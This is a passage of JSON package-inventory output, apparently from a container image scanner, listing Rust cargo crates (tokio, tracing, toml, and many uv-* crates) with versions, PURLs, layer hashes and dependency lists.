"supports-unicode", "Identifier": { "PURL": "pkg:cargo/supports-unicode@3.0.0", "UID": "51c6258dce8a003c" }, "Version": "3.0.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "syn@2.0.117", "Name": "syn", "Identifier": { "PURL": "pkg:cargo/syn@2.0.117", "UID": "f68aa8f70db5cca" }, "Version": "2.0.117", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "unicode-ident@1.0.24" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "sync_wrapper@1.0.2", "Name": "sync_wrapper", "Identifier": { "PURL": "pkg:cargo/sync_wrapper@1.0.2", "UID": "e5a0370f037f8949" }, "Version": "1.0.2", "DependsOn": [ "futures-core@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "synstructure@0.13.2", "Name": "synstructure", "Identifier": { "PURL": "pkg:cargo/synstructure@0.13.2", "UID": "c8f912925dadc1ab" }, "Version": "0.13.2", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "target-lexicon@0.13.5", "Name": "target-lexicon", "Identifier": { "PURL": "pkg:cargo/target-lexicon@0.13.5", "UID": "9d72095297646948" }, "Version": "0.13.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "temp-env@0.3.6", "Name": "temp-env", "Identifier": { "PURL": "pkg:cargo/temp-env@0.3.6", "UID": "743f6afec1925c6" }, "Version": "0.3.6", "DependsOn": [ "futures@0.3.32", "parking_lot@0.12.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tempfile@3.27.0", "Name": "tempfile", "Identifier": { "PURL": "pkg:cargo/tempfile@3.27.0", "UID": "106d5c0c3bd59542" }, "Version": "3.27.0", "DependsOn": [ "fastrand@2.4.1", "getrandom@0.4.1", "once_cell@1.21.4", "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "terminal_size@0.4.4", "Name": "terminal_size", "Identifier": { "PURL": "pkg:cargo/terminal_size@0.4.4", "UID": "b363862f3199b85e" }, "Version": "0.4.4", "DependsOn": [ "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "termtree@0.5.1", "Name": "termtree", "Identifier": { "PURL": "pkg:cargo/termtree@0.5.1", "UID": "52f48ea75e270133" }, "Version": "0.5.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "textwrap@0.16.2", "Name": "textwrap", "Identifier": { "PURL": "pkg:cargo/textwrap@0.16.2", "UID": "b25df8bc4b03b869" }, "Version": "0.16.2", "DependsOn": [ "smawk@0.3.2", "unicode-linebreak@0.1.5", "unicode-width@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "thiserror@2.0.18", "Name": "thiserror", "Identifier": { "PURL": "pkg:cargo/thiserror@2.0.18", "UID": "89152e4ba54dafe0" }, "Version": "2.0.18", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "thread_local@1.1.9", "Name": "thread_local", "Identifier": { "PURL": "pkg:cargo/thread_local@1.1.9", "UID": "879ae4335ca0a928" }, "Version": "1.1.9", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tikv-jemalloc-sys@0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "Name": "tikv-jemalloc-sys", "Identifier": { "PURL": "pkg:cargo/tikv-jemalloc-sys@0.6.1%2B5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "UID": "200829c51fe000a8" }, "Version": "0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tikv-jemallocator@0.6.1", "Name": "tikv-jemallocator", "Identifier": { "PURL": "pkg:cargo/tikv-jemallocator@0.6.1", "UID": "70c449c06dc6bfeb" }, "Version": "0.6.1", "DependsOn": [ "libc@0.2.186", "tikv-jemalloc-sys@0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "time@0.3.47", "Name": "time", "Identifier": { "PURL": "pkg:cargo/time@0.3.47", "UID": "ded696c50050cdef" }, "Version": "0.3.47", "DependsOn": [ "deranged@0.5.8", "itoa@1.0.17", "num-conv@0.2.0", "powerfmt@0.2.0", "serde_core@1.0.228", "time-core@0.1.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "time-core@0.1.8", "Name": "time-core", "Identifier": { "PURL": "pkg:cargo/time-core@0.1.8", "UID": "3e553af771854fe3" }, "Version": "0.1.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinystr@0.8.2", "Name": "tinystr", "Identifier": { "PURL": "pkg:cargo/tinystr@0.8.2", "UID": "87624a76c5449ef0" }, "Version": "0.8.2", "DependsOn": [ "displaydoc@0.2.5", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinyvec@1.11.0", "Name": "tinyvec", "Identifier": { "PURL": "pkg:cargo/tinyvec@1.11.0", "UID": "95f2af9b56822cc1" }, "Version": "1.11.0", "DependsOn": [ "tinyvec_macros@0.1.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinyvec_macros@0.1.1", "Name": "tinyvec_macros", "Identifier": { "PURL": "pkg:cargo/tinyvec_macros@0.1.1", "UID": "8d76a197da43072" }, "Version": "0.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio@1.52.3", "Name": "tokio", "Identifier": { "PURL": "pkg:cargo/tokio@1.52.3", "UID": "c1d28756ff98d344" }, "Version": "1.52.3", "DependsOn": [ "bytes@1.11.1", "libc@0.2.186", "mio@1.2.0", "parking_lot@0.12.5", "pin-project-lite@0.2.17", "signal-hook-registry@1.4.8", "socket2@0.6.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-rustls@0.26.4", "Name": "tokio-rustls", "Identifier": { "PURL": "pkg:cargo/tokio-rustls@0.26.4", "UID": "5fb5ee552618d148" }, "Version": "0.26.4", "DependsOn": [ "rustls@0.23.40", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-stream@0.1.18", "Name": "tokio-stream", "Identifier": { "PURL": "pkg:cargo/tokio-stream@0.1.18", "UID": "dc112f95134e7c62" }, "Version": "0.1.18", "DependsOn": [ "futures-core@0.3.32", "pin-project-lite@0.2.17", "tokio@1.52.3", "tokio-util@0.7.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-util@0.7.18", "Name": "tokio-util", "Identifier": { "PURL": "pkg:cargo/tokio-util@0.7.18", "UID": "9f50c64809eb484c" }, "Version": "0.7.18", "DependsOn": [ "bytes@1.11.1", "futures-core@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "pin-project-lite@0.2.17", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml@1.1.2+spec-1.1.0", "Name": "toml", "Identifier": { "PURL": "pkg:cargo/toml@1.1.2%2Bspec-1.1.0", "UID": "986d1f2dfb628f94" }, "Version": "1.1.2+spec-1.1.0", "DependsOn": [ "foldhash@0.2.0", "indexmap@2.14.0", "serde_core@1.0.228", "serde_spanned@1.1.1", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0", "toml_writer@1.1.1+spec-1.1.0", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_datetime@1.1.1+spec-1.1.0", "Name": "toml_datetime", "Identifier": { "PURL": "pkg:cargo/toml_datetime@1.1.1%2Bspec-1.1.0", "UID": "ed36dee786ce3c7e" }, "Version": "1.1.1+spec-1.1.0", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_edit@0.25.12+spec-1.1.0", "Name": "toml_edit", "Identifier": { "PURL": "pkg:cargo/toml_edit@0.25.12%2Bspec-1.1.0", "UID": "1bb467eb84f90615" }, "Version": "0.25.12+spec-1.1.0", "DependsOn": [ "indexmap@2.14.0", "serde_core@1.0.228", "serde_spanned@1.1.1", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0", "toml_writer@1.1.1+spec-1.1.0", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_parser@1.1.2+spec-1.1.0", "Name": "toml_parser", "Identifier": { "PURL": "pkg:cargo/toml_parser@1.1.2%2Bspec-1.1.0", "UID": "66b592ab26da2805" }, "Version": "1.1.2+spec-1.1.0", "DependsOn": [ "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_writer@1.1.1+spec-1.1.0", "Name": "toml_writer", "Identifier": { "PURL": "pkg:cargo/toml_writer@1.1.1%2Bspec-1.1.0", "UID": "97b0d11c2457e45a" }, "Version": "1.1.1+spec-1.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower@0.5.3", "Name": "tower", "Identifier": { "PURL": "pkg:cargo/tower@0.5.3", "UID": "c10f03e79f50e187" }, "Version": "0.5.3", "DependsOn": [ "futures-core@0.3.32", "futures-util@0.3.32", "pin-project-lite@0.2.17", "sync_wrapper@1.0.2", "tokio@1.52.3", "tower-layer@0.3.3", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-http@0.6.8", "Name": "tower-http", "Identifier": { "PURL": "pkg:cargo/tower-http@0.6.8", "UID": "70840966871f360f" }, "Version": "0.6.8", "DependsOn": [ "async-compression@0.4.19", "bitflags@2.13.0", "bytes@1.11.1", "futures-core@0.3.32", "futures-util@0.3.32", "http@1.4.1", "http-body@1.0.1", "http-body-util@0.1.3", "iri-string@0.7.10", "pin-project-lite@0.2.17", "tokio@1.52.3", "tokio-util@0.7.18", "tower@0.5.3", "tower-layer@0.3.3", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-layer@0.3.3", "Name": "tower-layer", "Identifier": { "PURL": "pkg:cargo/tower-layer@0.3.3", "UID": "370f333b72705450" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-service@0.3.3", "Name": "tower-service", "Identifier": { "PURL": "pkg:cargo/tower-service@0.3.3", "UID": "7c396f8c586d965c" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing@0.1.44", "Name": "tracing", "Identifier": { "PURL": "pkg:cargo/tracing@0.1.44", "UID": "b06e6a69695c9415" }, "Version": "0.1.44", "DependsOn": [ "pin-project-lite@0.2.17", "tracing-attributes@0.1.31", "tracing-core@0.1.36" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-attributes@0.1.31", "Name": "tracing-attributes", "Identifier": { "PURL": "pkg:cargo/tracing-attributes@0.1.31", "UID": "8a0bcad7abb601d4" }, "Version": "0.1.31", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-core@0.1.36", "Name": "tracing-core", "Identifier": { "PURL": "pkg:cargo/tracing-core@0.1.36", "UID": "9050af3c3a454dcf" }, "Version": "0.1.36", "DependsOn": [ "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-log@0.2.0", "Name": "tracing-log", "Identifier": { "PURL": "pkg:cargo/tracing-log@0.2.0", "UID": "7efc8c63bf4809de" }, "Version": "0.2.0", "DependsOn": [ "log@0.4.29", "once_cell@1.21.4", "tracing-core@0.1.36" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-subscriber@0.3.23", "Name": "tracing-subscriber", "Identifier": { "PURL": "pkg:cargo/tracing-subscriber@0.3.23", "UID": "a8e0f2fb74919394" }, "Version": "0.3.23", "DependsOn": [ "matchers@0.2.0", "nu-ansi-term@0.50.3", "once_cell@1.21.4", "regex-automata@0.4.14", "sharded-slab@0.1.7", "smallvec@1.15.2", "thread_local@1.1.9", "tracing@0.1.44", "tracing-core@0.1.36", "tracing-log@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-tree@0.4.1", "Name": "tracing-tree", "Identifier": { "PURL": "pkg:cargo/tracing-tree@0.4.1", "UID": "8dcce3f729035ca2" }, "Version": "0.4.1", "DependsOn": [ "nu-ansi-term@0.50.3", "tracing-core@0.1.36", "tracing-log@0.2.0", "tracing-subscriber@0.3.23" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "try-lock@0.2.5", "Name": "try-lock", "Identifier": { "PURL": "pkg:cargo/try-lock@0.2.5", "UID": "b8806ea01171f3af" }, "Version": "0.2.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "typeid@1.0.3", "Name": "typeid", "Identifier": { "PURL": "pkg:cargo/typeid@1.0.3", "UID": "3882eb4ad4fa1692" }, "Version": "1.0.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "typenum@1.19.0", "Name": "typenum", "Identifier": { "PURL": "pkg:cargo/typenum@1.19.0", "UID": "100f6c708d64853a" }, "Version": "1.19.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ucd-trie@0.1.7", "Name": "ucd-trie", "Identifier": { "PURL": "pkg:cargo/ucd-trie@0.1.7", "UID": "e88c14a6da914bdb" }, "Version": "0.1.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicase@2.9.0", "Name": "unicase", "Identifier": { "PURL": "pkg:cargo/unicase@2.9.0", "UID": "a9c8eac7b7049217" }, "Version": "2.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-ident@1.0.24", "Name": "unicode-ident", "Identifier": { "PURL": "pkg:cargo/unicode-ident@1.0.24", "UID": "e8b2ff064adb3663" }, "Version": "1.0.24", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-linebreak@0.1.5", "Name": "unicode-linebreak", "Identifier": { "PURL": "pkg:cargo/unicode-linebreak@0.1.5", "UID": "5ef4d9da65c0a1a1" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-width@0.1.14", "Name": "unicode-width", "Identifier": { "PURL": "pkg:cargo/unicode-width@0.1.14", "UID": "f5db41d50ff2930b" }, "Version": "0.1.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-width@0.2.2", "Name": "unicode-width", "Identifier": { "PURL": "pkg:cargo/unicode-width@0.2.2", "UID": "efd4597b9c7ca2c3" }, "Version": "0.2.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unit-prefix@0.5.2", "Name": "unit-prefix", "Identifier": { "PURL": "pkg:cargo/unit-prefix@0.5.2", "UID": "4c9176855317951a" }, "Version": "0.5.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unscanny@0.1.0", "Name": "unscanny", "Identifier": { "PURL": "pkg:cargo/unscanny@0.1.0", "UID": "aa35d22dd8859910" }, "Version": "0.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "untrusted@0.7.1", "Name": "untrusted", "Identifier": { "PURL": "pkg:cargo/untrusted@0.7.1", "UID": "82fc9c49d0faf4df" }, "Version": "0.7.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "untrusted@0.9.0", "Name": "untrusted", "Identifier": { "PURL": "pkg:cargo/untrusted@0.9.0", "UID": "796f8906fb5f686c" }, "Version": "0.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "url@2.5.8", "Name": "url", "Identifier": { "PURL": "pkg:cargo/url@2.5.8", "UID": "55887120d6ae61d5" }, "Version": "2.5.8", "DependsOn": [ "form_urlencoded@1.2.2", "idna@1.1.0", "percent-encoding@2.3.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8-width@0.1.8", "Name": "utf8-width", "Identifier": { "PURL": "pkg:cargo/utf8-width@0.1.8", "UID": "5363d1964e55e150" }, "Version": "0.1.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8_iter@1.0.4", "Name": "utf8_iter", "Identifier": { "PURL": "pkg:cargo/utf8_iter@1.0.4", "UID": "47325d29cebd96e9" }, "Version": "1.0.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8parse@0.2.2", "Name": "utf8parse", "Identifier": { "PURL": "pkg:cargo/utf8parse@0.2.2", "UID": "cb9f4664a096601d" }, "Version": "0.2.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uuid@1.23.3", "Name": "uuid", "Identifier": { "PURL": "pkg:cargo/uuid@1.23.3", "UID": "b791133af9aa572f" }, "Version": "1.23.3", "DependsOn": [ "getrandom@0.4.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-audit@0.0.58", "Name": "uv-audit", "Identifier": { "PURL": "pkg:cargo/uv-audit@0.0.58", "UID": "97e4b0941e747544" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "clap@4.6.1", "futures@0.3.32", "http@1.4.1", "indexmap@2.14.0", "jiff@0.2.28", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-auth@0.0.58", "Name": "uv-auth", "Identifier": { "PURL": "pkg:cargo/uv-auth@0.0.58", "UID": "b1d426bf229d57d6" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "arcstr@1.2.0", "astral-reqwest-middleware@0.5.1", "async-trait@0.1.89", "base64@0.22.1", "etcetera@0.11.0", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "jiff@0.2.28", "percent-encoding@2.3.2", "reqsign@0.20.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-keyring@0.0.58", "uv-netrc@0.0.58", "uv-once-map@0.0.58", "uv-preview@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-bin-install@0.0.58", "Name": "uv-bin-install", "Identifier": { "PURL": "pkg:cargo/uv-bin-install@0.0.58", "UID": "9c0d7bc0bba4b10c" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "fs-err@3.3.0", "futures@0.3.32", "jiff@0.2.28", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "url@2.5.8", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-distribution-filename@0.0.58", "uv-extract@0.0.58", "uv-pep440@0.0.58", "uv-platform@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-build-backend@0.0.58", "Name": "uv-build-backend", "Identifier": { "PURL": "pkg:cargo/uv-build-backend@0.0.58", "UID": "c06323c7b58aaab8" }, "Version": "0.0.58", "DependsOn": [ "astral-tokio-tar@0.6.3", "astral-version-ranges@0.1.4", "astral_async_zip@0.0.18", "base64@0.22.1", "csv@1.4.0", "flate2@1.1.9", "fs-err@3.3.0", "futures-lite@2.6.1", "globset@0.4.18", "indexmap@2.14.0", "itertools@0.14.0", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "spdx@0.13.4", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-globfilter@0.0.58", "uv-normalize@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-toml@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-build-frontend@0.0.58", "Name": "uv-build-frontend", "Identifier": { "PURL": "pkg:cargo/uv-build-frontend@0.0.58", "UID": "ad3f79164acdbe6e" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "fs-err@3.3.0", "indoc@2.0.7", "itertools@0.14.0", "owo-colors@4.3.0", "regex@1.12.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-static@0.0.58", "uv-types@0.0.58", "uv-virtualenv@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache@0.0.58", "Name": "uv-cache", "Identifier": { "PURL": "pkg:cargo/uv-cache@0.0.58", "UID": "4611e9b538b713ea" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "same-file@1.0.6", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tracing@0.1.44", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-fastid@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": 